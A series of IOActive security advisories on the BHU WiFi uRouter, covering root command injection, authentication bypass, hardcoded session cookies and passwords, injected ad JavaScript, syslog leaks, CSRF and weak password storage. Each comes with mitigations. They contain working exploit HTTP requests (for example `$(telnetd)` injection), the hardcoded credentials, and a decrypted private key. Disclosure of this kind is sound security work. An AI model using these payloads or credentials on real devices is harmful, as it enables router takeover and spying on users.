IOActive Security Advisory

Title	Unauthenticated OS Root Command Injection on BHU WiFi uRouter
Severity	Critical – CVSSv2 Score 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered by	Tao Sauvage
Advisory Date	August 17, 2016

Affected Product

BHU WiFi uRouter http://www.bhuwifi.com/Product/urouter_gs.html?p=urouter

Impact

An unauthenticated attacker can inject OS commands in the BHU WiFi uRouter's administrative web interface. The commands will be executed with root privileges, fully compromising the device's confidentiality, integrity, and availability.

Background

BHU WiFi is a Chinese-based company that sells routers for both personal and professional usage. The uRouter is a powerful device that offers 1949 m2 of coverage, supports 100 simultaneous terminals, and supports QoS and user management to prevent unauthorized access.

Technical Details

IOActive found the uRouter is vulnerable to OS command injection due to a general lack of data validation in libdml.so. In addition, IOActive found that the injected commands are executed with root privileges on the router.

If an SID cookie value is not provided, libdml.so will fall back on the hardcoded hidden SID value `700000000000000` described in Hardcoded Hidden SID Session Cookie on BHU WiFi uRouter. In other words, the attacker does not need to be authenticated to inject the command.

The administrative web interface allows an admin to execute commands implemented in libdml.so via HTTP requests to cgiSrv.cgi. Many commands in libdml.so rely on a call to `system()` where the command is a concatenation between hardcoded strings and user input. IOActive did not find any data validation performed on the user input, allowing an attacker to execute arbitrary commands on the router via special inputs such as two ampersands (&&), vertical bar (`|`), semicolon (`;`), dollar sign ($), and backtick (`` ` ``).

The only initial restriction was that characters such as double-quotes (`"`), angle brackets (< >), and ampersand (&) were not allowed in the parameter due to the XML parser handling the request. However, it was possible to overcome the restriction using their HTML-encoded corresponding characters:

- `&quot;` for "
- `&lt;` and `&gt;` for < and >
- `&amp;` for &

NMap scan before injecting command (notice that Telnet is not running):

```
$ nmap –p23 192.168.62.1
Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-07 17:03 CEST
Nmap scan report for 192.168.62.1
Host is up (0.0079s latency).
Not shown: 996 closed ports
PORT     STATE  SERVICE
23/tcp   closed  telnet
```

Request exploiting the OS command injection in order to start the Telnet daemon:

```
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 57
Connection: close

<cmd>
<ITEM cmd="traceroute" addr="$(telnetd)" />
</cmd>
```

Response:

```
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<return>
  <ITEM cmd="traceroute" serial="3" wait="2" status="doing" />
</return>
```

NMap scan after injecting command:

```
$ nmap –p23 192.168.62.1
Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-07 17:03 CEST
Nmap scan report for 192.168.62.1
Host is up (0.0076s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
23/tcp   open  telnet
```

Checking the user privilege under which the injected command is being executed:

```
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 101
Connection: close
```

```
<cmd>
<ITEM cmd="traceroute" addr="$(echo &quot;$USER&quot; &gt;
/usr/share/www/test.txt)" />
</cmd>
```

When accessing http://192.168.62.1/test.txt:

```
HTTP/1.1 200 OK
Date: Thu, 01 Jan 1970 00:02:55 GMT
Last-Modified: Thu, 01 Jan 1970 00:02:52 GMT
Etag: "ac.5"
Content-Type: text/plain
Content-Length: 5
Connection: close
Accept-Ranges: bytes

root
```

The command `traceroute`, implemented in libdml.so in `dl_cmd_traceroute`, calls a subfunction named `dl_cmd_traceroute_th`, which does the following equivalent:

```
/* . . . */
sprintf(cmd, "/bin/script/tracepath.sh %s", user_supplied_ip);
/* . . . */
system(cmd);
/* . . . */
```

- Line 2: the user input is formatted into the command string without being previously sanitized from hazardous characters
- Line 4: the formatted command is passed to the `system()` function, which executes the command on the system

Result on the router:

```
# ps
; . . . .
1682  1681 bhuroot   1304   336 S    sh              sh -c
/bin/script/tracepath.sh $(echo "$USER" > /usr/share/www/test.txt) 3
; . . . .
```

IOActive believes that the same vulnerability exist in uRouter+ http://www.bhuwifi.com/Product/plus_gs.html.

Mitigation

User inputs should not be trusted. All user inputs should be sanitized before being used by the system.

In order to mitigate code injection, libdml.so should surround the username and password with simple quotes (‘) and escape all hazardous characters before calling `system()` such as single quotes (’), double quotes (“), dollar signs ($), semicolons (;), backticks (`), backslashes (\), and ampersands (&).

A more restrictive approach could be used in order to prevent code injection. In the case of `traceroute`, since the expected parameter is an IP address, a whitelist of characters should be used to only allow numerical digits (`0-9`), hexa letters (`A-F`), dots (`.`), and colons (`:`).

Timeline

May 18, 2016:	IOActive discovers vulnerability
June, 2016:	IOActive attempted to contact the vendor without success

IOActive Security Advisory

Title	Authentication Bypass on BHU WiFi uRouter
Severity	Critical – CVSSv2 Score 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered by	Tao Sauvage
Advisory Date	August 17, 2016

Affected Product

BHU WiFi uRouter http://www.bhuwifi.com/Product/urouter_gs.html?p=urouter

Impact

An attacker can bypass the authentication of the administrative web interface of a BHU WiFi uRouter and access all admin web functions. This gives an attacker full control of the device, fully compromising its confidentiality, integrity, and availability.

Background

BHU WiFi is a Chinese-based company that sells routers for both personal and professional usage. The uRouter is a powerful device that offers 1949 m2 of coverage, supports 100 simultaneous terminals, and supports QoS and user management to prevent unauthorized access.

Technical Details

A login prompt protects the administrative web interface; only a person with valid credentials should be able to login and manage the router. However, IOActive found that it was possible to bypass the authentication mechanism and gain full access to the router's administrative web interface.

The BHU WiFi uRouter offers several types of functions, some of which can be used by unauthenticated users and others only by the admin. To ensure proper access control, the CGI relies on the SID cookie to know if the user is authenticated or not.

During analysis of the uRouter firmware, IOActive found that the SID cookie value used to authenticate the admin is not properly checked by any program on the router. The following logic is implemented on the uRouter:

- POST request with `op=<command>` in the body
- cgiSrv.cgi checks if the request has a cookie with a name containing `sid`
- If such cookie exists, cgiSrv.cgi retrieves its value and passes it to the `dml_dms_ucmd` function implemented in libdml.so
- `dml_dms_ucmd` checks if the cookie value passed in parameters is NULL

- If the cookie is not NULL, it executes the command

Therefore, an attacker can provide an SID cookie with any value and execute administrative commands on the router.

Request with dummy SID value:

```
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.62.1/
Cookie: sid=a;
Content-Length: 9
Connection: close

op=reboot
```

Response from uRouter:

```
HTTP/1.1 200 OK
Content-type: text/plain

result=ok
```

Once the attacker successfully bypassed the authentication mechanism by providing a dummy SID cookie value, any administrative features can be used. The attacker could, among other scenarios, reboot the device, change the routing configuration, kick any users, etc.

IOActive believes that the same vulnerability exist in uRouter+ (http://www.bhuwifi.com/Product/plus_gs.html).

Mitigation

The cgiSrv.cgi binary should check whether the SID provided by the user is valid and matches the SID value of the currently authenticated admin.

Timeline

May 18, 2016:	IOActive discovers vulnerability
June 2016:	IOActive attempted to contact the vendor without success

IOActive Security Advisory

Title	Hardcoded Hidden SID Session Cookie on BHU WiFi uRouter
Severity	Critical – CVSSv2 Score 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered by	Tao Sauvage
Advisory Date	August 17, 2016

Affected Product

BHU WiFi uRouter http://www.bhuwifi.com/Product/urouter_gs.html?p=urouter

Impact

Different hardcoded hidden SID session cookies on the BHU WiFi uRouter allow an attacker to gain access to the administrative web interface without previous knowledge of the password. This gives an attacker full control of the device, fully compromising its confidentiality, integrity, and availability.

Background

BHU WiFi is a Chinese-based company that sells routers for both personal and professional usage. The uRouter is a powerful device that offers 1949 m2 of coverage, supports 100 simultaneous terminals, and supports QoS and user management to prevent unauthorized access.

Technical Details

A login prompt protects the administrative web interface. Only a person with valid credentials can login and manage the router. Upon successful authentication, uRouter generates a SID cookie value to the user, and uses that value to check if the user is authenticated in future requests.

IOActive found several hidden hardcoded SID session cookies available on the router:

- `SID 700000000000000`
- `SID 0vdagiwiacpdppj`

These SID cookie values were constant after each reboot and could not be changed by the admin.

Request using the first hidden SID to check the currently authenticated user:

```
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.62.1/
```

```
Cookie: sid=7000000000000000;
Content-Length: 7
Connection: close

op=user
```

Response:

```
HTTP/1.1 200 OK
Content-type: text/plain

user=dms:3
```

Request using the second hidden SID to check the currently authenticated user:

```
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.62.1/
Cookie: sid=0vdagiwiacpdppj;
Content-Length: 7
Connection: close

op=user
```

Response:

```
HTTP/1.1 200 OK
Content-type: text/plain

user=dms:2
```

The first SID is hardcoded in the binaries libbhumodule.so and libdml.so. The second one is used by uRouter processes:

```
$ ps
# . . .
  680     1 bhuroot   5808  1900 S    bmc             bmc -i bhu -s
0vdagiwiacpdppj -k 30 -r 0
# . . .
```

Using the hardcoded hidden SID cookie values, an attacker will gain full access to the administrative web interface and can use any admin features. The attacker could, among other things, reboot the device, change the routing configuration, kick off any current WiFi users, etc.

Mitigation

Remove hardcoded session IDs from the system.

Timeline

May 18, 2016:	IOActive discovers vulnerability
June 2016:	IOActive attempted to contact the vendor without success

IOActive Security Advisory

Title	Third-party JavaScript File Injection in HTTP Traffic on BHU WiFi uRouter
Severity	Critical – CVSSv2 Score 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
Discovered by	Tao Sauvage
Advisory Date	August 17, 2016

Affected Product

BHU WiFi uRouter http://www.bhuwifi.com/Product/urouter_gs.html?p=urouter

Impact

A malicious actor who is able to modify the JavaScript file injected in users' HTTP traffic could mount Distributed Denial of Service (DDoS) attack or maliciously collect and modify users' personal information.

Background

BHU WiFi is a Chinese-based company that sells routers for both personal and professional usage. The uRouter is a powerful device that offers 1949 m2 of coverage, supports 100 simultaneous terminals, and supports QoS and user management to prevent unauthorized access.

Technical Details

IOActive found that the BHU WiFi uRouter uses the tool "prixovy" (https://www.privoxy.org/, version 3.0.21) to configure a filter that injects the JavaScript file http://chdadd.100msh.com/ad.js from a third party in all HTTP connections made through the router.

It was not possible to get a copy of the ad.js file and determine its purpose, as the URL http://chdadd.100msh.com/ad.js timed out when being accessed. Based on the filename and the comment in the configuration file, IOActive assumes that it injects advertisements in the websites visited by the user. However, the JavaScript file could do much more. It could, for instance, be used to launch DoS attacks, distribute malware, or access sensitive information about the user, etc.

One such event has been detected in the past, where Baidu users' browsers were injected with the JavaScript file h.js. This file generated multiple requests to GitHub.com on behalf of an infected user in order to perform a DDoS attack (http://www.theregister.co.uk/2015/03/27/github_under_fire_from_weaponized_great_firewall/).

```
$ privoxy --help
```

```
Privoxy version 3.0.21 (http://www.privoxy.org/)
$ ls -l privoxy/
-rw-r--r--    1        24 bhu.action
-rw-r--r--    1       159 bhu.filter
-rw-r--r--    1      1477 config
$ cat privoxy/config
confdir /tmp/privoxy
logdir /tmp/privoxy
filterfile bhu.filter
actionsfile bhu.action
logfile log
#actionsfile match-all.action # Actions that are applied to all sites and
maybe overruled later on.
#actionsfile default.action   # Main actions file
#actionsfile user.action      # User customizations
listen-address  0.0.0.0:8118
toggle  1
enable-remote-toggle  1
enable-remote-http-toggle  0
enable-edit-actions 1
enforce-blocks 0
buffer-limit 4096
forwarded-connect-retries  0
accept-intercepted-requests 1
allow-cgi-request-crunching 0
split-large-forms 0
keep-alive-timeout 1
socket-timeout 300
max-client-connections 300
# . . .
$ cat privoxy/bhu.action
{+filter{ad-insert}}
/
$ cat privoxy/bhu.filter
FILTER: ad-insert  insert ads to web
s@</body>@<script type='text/javascript'
src='http://chdadd.100msh.com/ad.js'></script></body>@g
```

IOActive found a file named ad.js on the router, under /usr/share/ad/ad.js, which could be a mirror copy of the file hosted at http://chdadd.100msh.com/ad.js, although it could not be confirmed. This version of the file injects a DIV element at the bottom of the page for all websites visited by the victim except bhunetworks.com. The DIV element embeds three links to different BHU products:

- http://bhunetworks.com/BXB.asp
- http://bhunetworks.com/bms.asp
- http://bhunetworks.com/planview.asp?id=64&classid=3/

An attacker who is able to modify the ad.js file could insert malicious JavaScript code that, for instance, collects personal information, modifies responses from the server, or conducts a DDoS attack.

Mitigation

The JavaScript file injection should be removed from the `privoxy` configuration.

Timeline

May 18, 2016:	IOActive discovers vulnerability
June 2016:	IOActive attempted to contact the vendor without success

IOActive Security Advisory

Title	Unauthenticated SYSLOG Access Leads to Session Hijack on BHU WiFi uRouter
Severity	Critical – CVSSv2 Score 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered by	Tao Sauvage
Advisory Date	August 17, 2016

Affected Product

BHU WiFi uRouter http://www.bhuwifi.com/Product/urouter_gs.html?p=urouter

Impact

An unauthenticated attacker can access the system logs of uRouter and leverage the information contained in the log to hijack the session of the admin and gain access to the administrative web interface. The attacker can fully compromise the device's confidentiality, integrity, and availability.

Background

BHU WiFi is a Chinese-based company that sells routers for both personal and professional usage. The uRouter is a powerful device that offers 1949 m2 of coverage, supports 100 simultaneous terminals, and supports QoS and user management to prevent unauthorized access.

Technical Details

IOActive found that an unauthenticated user can read the system log of the BHU WiFi uRouter, which contains highly sensitive information about the system, particularly the current active admin sessions.

An attacker could access the system log of the router and extract the SID cookie value of the currently authenticated admin. Using that SID cookie, the attacker will be able to access the administrative web interface and modify the configuration of the router, without previous knowledge from the admin.

Even in the case where no admin is currently authenticated to the web portal, the attacker could use the "dms" SID cookie values instead. These SID cookie values are always present in the system log as "dms" is automatically logged in when the system boots. Hence, using the SIDs will grant the attacker full access to the administrative web interface.

Request:

```
GET /cgi-bin/cgiSrv.cgi?file=[syslog] HTTP/1.1
Host: 192.168.62.1
X-Requested-With: XMLHttpRequest
```

```
Connection: close
```

Response:

```
HTTP/1.1 200 OK
Content-type: text/plain

Jan  1 00:00:09 BHU syslog.info syslogd started: BusyBox v1.19.4
Jan  1 00:00:09 BHU user.notice kernel: klogger started!
Jan  1 00:00:09 BHU user.notice kernel: Linux version 2.6.31-BHU
(yetao@BHURD-Software) (gcc version 4.3.3 (GCC) ) #1 Thu Aug 20 17:02:43
CST 201
. . .
Jan  1 00:00:11 BHU local0.err dms[549]: Admin:dms:3 sid:7000000000000000
id:0 login
Jan  1 00:00:11 BHU local0.err monitor[550]: Unable to connect socket - 2,
No such file or directory
Jan  1 00:00:12 BHU local0.err monitor[550]: Unable to connect socket - 2,
No such file or directory
Jan  1 00:00:13 BHU local0.err dms[549]: Admin:dms:1 sid:2vdagiwiacpdppj
id:1 login
. . .
Jan  1 08:00:39 HOSTNAME user.err syslog: 1970-01-01 08:00:39,
LOG_ERR,__on_tunnel_connected,313,[612]:connect to bmc tunnel succeed
Jan  1 08:02:19 HOSTNAME local0.warn dms[549]: User:admin
sid:2jggvfsjkyseala index:3 login
```

IOActive believes that the same vulnerability exist in uRouter+ http://www.bhuwifi.com/Product/plus_gs.html.

Mitigation

Do not allow unauthenticated users access sensitive information about the system. Strict access controls should be enforced to require the user to be logged in and have the correct privileges to access the information.

In addition, the system log should not disclose the SID cookie values. This information should be considered as critical as passwords and should never be logged.

Timeline

May 18, 2016:	IOActive discovers vulnerability
June 2016:	IOActive attempted to contact the vendor without success

IOActive Security Advisory

Title	Cross-site Request Forgery on BHU WiFi uRouter
Severity	High – CVSSv2 Score 4.9 (AV:N/AC:M/Au:S/C:N/I:P/A:P)
Discovered by	Tao Sauvage
Advisory Date	August 17, 2016

Affected Product

BHU WiFi uRouter http://www.bhuwifi.com/Product/urouter_gs.html?p=urouter

Impact

An attacker could trick the uRouter's admin into executing malicious actions due to a lack of protection against cross-site request forgery (CRSF) attacks. An attacker could exploit this vulnerability to update the router's configuration, reboot the device, etc.

Background

BHU WiFi is a Chinese-based company that sells routers for both personal and professional usage. The uRouter is a powerful device that offers 1949 m2 of coverage, supports 100 simultaneous terminals, and supports QoS and user management to prevent unauthorized access.

Technical Details

IOActive saw a general lack of protection against CSRF attacks on the BHU WiFi uRouter. During a CSRF attack, unauthorized commands are transmitted from a user that the web application trusts in a manner that is difficult or impossible for the web application to differentiate from normal actions from the targeted user.

As a result, attackers may trick application users into performing critical application actions that include, but are not limited to, adding and updating accounts.

A CSRF attack works by including a link or script in a page or email that accesses a site known to be vulnerable and have unexpired authentication. For example, let us assume John receives an email from Alice that contains a link or image tag linking to the vulnerable site as shown below:

```
<img src=http://CSRF_URL/attack.html?c=JavaScript=PAYLOAD/>
```

Once John opens the email, the client will render the email content. If the vulnerable site keeps John's authentication information in a cookie and the cookie has not expired, when John's browser attempts to load the image or link, it will successfully submit the payload form with his cookie. The exploit will be executed as an authenticated user without John's approval or knowledge.

By placing an authentication token as part of the submitted request or requesting confirmation through a security control (CAPTCHA) before the request is actually executed, an attacker's know-how on how to submit an application form will be useless, as the victim will either need to confirm the action before it's triggered or the missing authentication token (unknown to the attacker) will result in the request being rejected.

Users that are authenticated only by a cookie saved in their web browser could unknowingly send HTTP requests to a site that trusts them and thereby causes one or more unwanted actions. Web applications that perform actions based on input from trusted and authenticated users (change email, change password, add account) without requiring the user to authenticate to the specific action are vulnerable to cross-site request forgery attacks.

Additionally, successful CSRF attacks are very difficult to detect from the application server, because the attacker is using the authenticated and user's browser to perform actions they are already authorized to do. In the server logs, while the activity may in fact be logged, the actions will still be coming from the same computer, and thus IP addresses and other identifying information will be imperceptible between legitimate actions and the attacker's actions.

Request (notice the lack of anti-CSRF tokens):

```
POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.62.1/
Cookie: sid=2npepfevaepttvz;
Content-Length: 9
Connection: close

op=reboot
```

Response:

```
HTTP/1.1 200 OK
Content-type: text/plain

result=ok
```

In such case, an attacker could send a specially crafted page to the victim that would automatically reboot the router once the victim accesses the page. The page could also modify the router’s configuration (updating blacklisted MAC addresses, changing the routes, etc.).

IOActive believes that the same vulnerability exist in uRouter+ http://www.bhuwifi.com/Product/plus_gs.html.

Mitigation

IOActive recommends switching from an only-persistent authentication method (cookie or HTTP authentication) to a transient authentication method, such as cookies plus a hidden field provided on every form. This type of authentication will help prevent attacks including CSRF and denial of service.

Another possible solution would be to include a secret, user-specific token, and/or user-controllable data (CAPTCHA, resubmitting a password) into each form, in addition to the authentication cookie.

It should be noted that contrary to popular belief, using POST instead of GET does not offer sufficient protection. JavaScript can be leveraged to create POST requests.

Timeline

May 18, 2016:	IOActive discovers vulnerability
June 2016:	IOActive attempted to contact the vendor without success

IOActive Security Advisory

Title	Hardcoded Credentials on BHU WiFi uRouter
Severity	Medium – CVSSv2 Score 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
Discovered by	Tao Sauvage
Advisory Date	August 17, 2016

Affected Product

BHU WiFi uRouter http://www.bhuwifi.com/Product/urouter_gs.html?p=urouter

Impact

An attacker could use the hardcoded credentials in the uRouter in order to gain shell access to the device, or connect via SSH as root.

Background

BHU WiFi is a Chinese-based company that sells routers for both personal and professional usage. The uRouter is a powerful device that offers 1949 m2 of coverage, supports 100 simultaneous terminals, and supports QoS and user management to prevent unauthorized access.

Technical Details

IOActive found multiple passwords hardcoded in the BHU WiFi uRouter, some of which are in the binaries. These passwords could be exploited by an attacker to gain shell access to the device.

The passwords are used to:

- Connect via SSH
- Provide a shell on the router
- Sign SSL certificates with uRouter self-signed CA

The uRouter is running SSH by default through which both the default 'bhuroot' account and 'admin' account can connect. An attacker could use the default password for either of these accounts to gain access to the router.

When connecting with the admin account, an attacker will end in a restricted shell environment. However, it is possible to escape the restricted shell environment using the `super` command with the hardcoded credential in the /usr/sbin/scli binary. An attacker could also potentially sign SSL certificates that would be trusted by the router using the hardcoded password stored in /usr/sbin/bmc.

Since the credentials are hardcoded in binary files, they cannot be changed, and if they are disclosed, the user will not be able to change them and close the security hole.

IOActive could not confirm whether the hardcoded credentials were the same across all of the routers or unique per router. However, if the passwords follow the same password policy, it would be trivial for an attacker to successfully guess other routers' hardcoded passwords ("Bhu" or "bmc" followed by 8 digits).

Default passwords in '/etc/passwd':

```
bhuroot:1a94f374410c7d33de8e3d8d03945c7e:0:0:root:/root:/bin/sh
admin:21232f297a57a5a743894a0e4a801fc3:110:110:admin:/tmp/user/admin:/usr/
sbin/scli
```

The first MD5 hashed password for the bhuroot user is not known by the owner of the router and cannot be updated. The MD5 hashed password for the user admin is 'admin'.

IOActive found the following hardcoded password in /usr/sbin/cli: 'Bhu82730100'. This password can be used when issuing the `super` command on the scli:

```
$ ssh admin@192.168.62.1
admin@192.168.62.1's password:  (entered 'admin' default password in
passwd)


   Welcome to BHU Simple Command Line


/>?
Available command:
  help        This is help!
  ?           This is help!
  quit        Quit cli!
  exit        Quit cli!
  cd          Change directory of dms!
  show        Show detail of current directory!
  ls          Show detail of current directory!
  set         Set properties values of current directory!
  cmd         List or execute cmd!
  op          List or execute dms command!
  del         Delete the table!
  pwd         show the path of current directory!
  super       Quit to Linux shell!
  desc        Describe cmd or table!

/>super
Pass:  (entered 'Bhu82730100' hardcoded in scli)


BusyBox v1.19.4 (2015-09-05 12:01:45 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

$ echo $USER
admin
```

IOActive found the following hardcoded password in /usr/sbin/bmc: 'bmc82730100'. This password can be used to decrypt the different certificates that are stored under /etc/config/bmc/:

```
$ cat bmc_client.key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,3C27BEC2D5472750

ryBhJyLK9Gc6GzaSdtoYkZ3Wbb2LGjFAM3sUmytzcUhfpnOrbqEe6b6CI9xxcvfK
VVjBFT3Yn4ceW+qxRnkU9egqzfyHlN7UbLCnCnS71NP4XKNo2kqqgpKLHTlHANYA
mOUJCsaZxYhNbZHrCr6b0aDdEn6ZswsOuhhEu0pBFe5QT/a4RDJxKC9gGJjwGk11
c6NS/VoRruQORVwSFcNbLELSXntHcKnP0s+BUTN9YQwRkvQJYv/FTcWW/wJowAmC
Q2sFhrOm89Fym7tbJ5K8jT8pDFdy0MJHE5RxBCjXtjKRFS2jGQiCqZHGSKRDDzdQ
QdM5BHcRn9pwhiVsOfUxBVENZ2YMP99w7WbxozY5QCHXgjPrzNffp3Y8LmJoSaEf
msSAzDsFIZCpC31HtGxf6InLChfGYnMVOHryawim7fPOkl0Uer4mQHFZOXqzgD2x
9rMItRWX4O5ilajz7GXdwFtdzT6qfB6B4f3oGDgc7bLQTfSYbPjAzXLWq08Bs/ej
RPykslKkPsqusUCBW/ac4aPxVrBv9H1Nh2NTMjca98hpo4iu+4BqMeCnk+sE+63G
TduyQN74JDc9c6/FsPU/Wx3YxS3K73n1nnRpQB4mzCWWJGBL0bdNtxgPGp2syBqQ
U/BChfJkcjrk3u0nSTs3mEOf2EhIzilj/A0MvTNZ76x+4hD04i5hiD2ZVYcZEL/d
fUdwrYMMeNAw25XcPl6U0TFWvwo1ALf7gZoq5OekTRcyMy8/089LjemXmkMootb1
8ipujLE1W+vpvro0G5F1/LNfVNzrpAw+8lrs9WSKX72yY+8Bfd2sNg==
-----END RSA PRIVATE KEY-----
$ openssl rsa -in oem_client.key -out oem_client.key.dec
Enter pass phrase for oem_client.key:  (entered 'bmc82730100')
writing RSA key
$ cat oem_client.key.dec
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQDH3rYi8Rf+PXk9G0KEheAOORlhkSExzNo6WexlAdKaT0058gMz
UaozAcAhWuht2/cAuiq/DgMNTzCZy4S1nFIJgUJhksxt+J2S7L0w2XUXpjnBBEPQ
XGQo1hYQWe9kGo1BLy5Nav5X8HQqgY7BXquml7OwFlExxkkIP2VUO+tciQIDAQAB
AoGBAKOOjsGdRaMZryLgMdi8rRM2ipya5O0Z0+M4PwiRK0R3bJzkfNX8GClRX2Zs
PBPakxCXR++8iabUjNLuBpWPbFlCGCHHA+o1u0Spf83emNsOdkv46C2hwofEUYbr
cKN7vR4HHJaQp9qj+vLlttBCXbb0DKRggaPGMoE7SsQeHZcBAkEA/lsm7uhjD/Qz
EC0HdR1btQ0P+6Zsfwff4EQlG+0MJ1utzA7d/Q1zBnW01wUE2W5czPvbsx0mlP8k
3sBb15lKWQJBAMkpaKQmaCLOAQdSSpDFP4yexl1+20cNqyfSCYBS8Y7Gy3lfqKXJ
0ARE3SHbRFuMWW5JdyqIaIYVM5xQAXd9/bECQQC2EAzYKSLvQn5ib7jMzYzdFVKB
cGhsrPhEkMJ3ML/oVCkczO98uGnDD/G3jvIfqG1olEZ3+L+rGs4LW2jh8+lRAkEA
r/x5Hnq3ShO9lKEquOLHyQcy9aLAxbWwkiLPyyNFTyqd4m6MxZX8VW/FohQJBqqP
psvA5EX4Y61yvILF9bsU0QJBAJBThHZsYw/iWR2/A0Kb3V33cvLJ91nE7vHMKHCv
p9CeTMt5IkQl645EQ7MhK+pbXhRUHK1qxm0J9gxDOpKMb1o=
-----END RSA PRIVATE KEY-----
```

Mitigation

Do not hardcode passwords in binaries. Passwords should be stored in configuration files in order to give the user the ability to update them.

For /etc/passwd, the user should be able to update users' passwords. In addition, the 'bhuroot' user should not be allowed to SSH to the router directly.

Timeline

May 18, 2016:	IOActive discovers vulnerability
June 2016:	IOActive attempted to contact the vendor without success

IOActive Security Advisory

Title	Insecure User Password Storage on BHU WiFi uRouter
Severity	Medium – CVSSv2 Score 1.7 (AV:L/AC:L/Au:S/C:P/I:N/A:N)
Discovered by	Tao Sauvage
Advisory Date	August 17, 2016

Affected Product

BHU WiFi uRouter http://www.bhuwifi.com/Product/urouter_gs.html?p=urouter

Impact

An attacker could recover the plaintext version of the admin password. One version of the stored password is encrypted using a reversible encryption algorithm.

Background

BHU WiFi is a Chinese-based company that sells routers for both personal and professional usage. The uRouter is a powerful device that offers 1949 m2 of coverage, supports 100 simultaneous terminals, and supports QoS and user management to prevent unauthorized access.

Technical Details

IOActive found that BHU WiFi uRouter is storing the user password on the filesystem in two different manners that are insecure for the user.

The router implements two ways to store the user password on the filesystem:

- Plain MD5 hash without salt
- RSA encrypted with hardcoded key in libdml.so

In the first case, the MD5 hashing algorithm has been deprecated for years as it is deemed insecure against computer calculation power. In addition, since no salt of any kind is being used when hashing the user password, an attacker could perform a dictionary or brute-force attack to crack the hash.

In the second case, the RSA encryption being used allows an attacker to decrypt the password and recover its plaintext version. The attacker would extract the RSA decryption key from the libdml.so library and decrypt the encrypted password.

In /etc/config/user.conf:

```
/* . . . */
        <users>
              <ITEM name="admin"
password_enc="21232f297a57a5a743894a0e4a801fc3"
```

```
password_rsa="137d94a88dd955bb5c37a494e563cc054e503f973c57e16f2540d52d1df1
fdff9dabf9785c6b9d956e353370d273034db0eadae77b33c01cefd31dd86f992351" />
        </users>
/* . . . */
```

Where `password_enc` is the MD5 hash of ‘admin’ and `password_rsa` is ‘admin’ RSA-encrypted. The function `rsa_decrypt` implemented in libdml.so is using a hardcoded RSA decryption key `dec_key`.

IOActive believes that the same vulnerability exist in uRouter+ http://www.bhuwifi.com/Product/plus_gs.html.

Mitigation

Salt and hash user passwords when being stored in the database. Use random salts and a strong cryptographic hashing function (such as SHA512) in order to limit the impact of an intrusion on the server. A strong solution would be to use "bcrypt" in order to hash the user passwords, as it is an algorithm that is strong against both CPU and GPU-based attacks.

Timeline

May 18, 2016:	IOActive discovers vulnerability
June 2016:	IOActive attempted to contact the vendor without success